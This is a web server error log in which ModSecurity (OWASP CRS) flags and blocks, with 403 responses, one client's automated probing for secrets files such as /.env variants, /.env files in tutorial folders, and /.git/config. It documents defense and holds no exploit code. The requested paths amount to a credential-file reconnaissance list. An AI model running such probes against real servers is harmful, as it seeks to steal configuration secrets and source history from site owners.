[Thu Feb 26 01:02:50.754212 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4awAAAAY&quot;]
[Thu Feb 26 01:02:50.754533 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4awAAAAY&quot;]
[Thu Feb 26 01:02:50.754724 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4awAAAAY&quot;]
[Thu Feb 26 01:02:50.783240 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_copy&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bAAAAAY&quot;]
[Thu Feb 26 01:02:50.783501 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bAAAAAY&quot;]
[Thu Feb 26 01:02:50.783669 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bAAAAAY&quot;]
[Thu Feb 26 01:02:50.823344 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_private&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bQAAAAY&quot;]
[Thu Feb 26 01:02:50.823611 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bQAAAAY&quot;]
[Thu Feb 26 01:02:50.823778 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bQAAAAY&quot;]
[Thu Feb 26 01:02:50.830161 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /07-accessing-data/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O-wAAAAU&quot;]
[Thu Feb 26 01:02:50.830418 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O-wAAAAU&quot;]
[Thu Feb 26 01:02:50.830594 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O-wAAAAU&quot;]
[Thu Feb 26 01:02:50.853864 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_secret&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bgAAAAY&quot;]
[Thu Feb 26 01:02:50.854110 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bgAAAAY&quot;]
[Thu Feb 26 01:02:50.854274 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bgAAAAY&quot;]
[Thu Feb 26 01:02:50.878045 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /07-accessing-data/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O_AAAAAU&quot;]
[Thu Feb 26 01:02:50.878324 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O_AAAAAU&quot;]
[Thu Feb 26 01:02:50.878546 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O_AAAAAU&quot;]
[Thu Feb 26 01:02:50.879867 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bwAAAAY&quot;]
[Thu Feb 26 01:02:50.880118 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bwAAAAY&quot;]
[Thu Feb 26 01:02:50.880281 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4bwAAAAY&quot;]
[Thu Feb 26 01:02:50.911445 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4cAAAAAY&quot;]
[Thu Feb 26 01:02:50.911740 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4cAAAAAY&quot;]
[Thu Feb 26 01:02:50.911936 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4cAAAAAY&quot;]
[Thu Feb 26 01:02:50.930300 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /08-routing/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O_QAAAAU&quot;]
[Thu Feb 26 01:02:50.930600 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O_QAAAAU&quot;]
[Thu Feb 26 01:02:50.930784 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O_QAAAAU&quot;]
[Thu Feb 26 01:02:50.954823 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /08-routing/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O_gAAAAU&quot;]
[Thu Feb 26 01:02:50.955098 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O_gAAAAU&quot;]
[Thu Feb 26 01:02:50.955134 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4cQAAAAY&quot;]
[Thu Feb 26 01:02:50.955276 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O_gAAAAU&quot;]
[Thu Feb 26 01:02:50.955490 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4cQAAAAY&quot;]
[Thu Feb 26 01:02:50.955705 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4cQAAAAY&quot;]
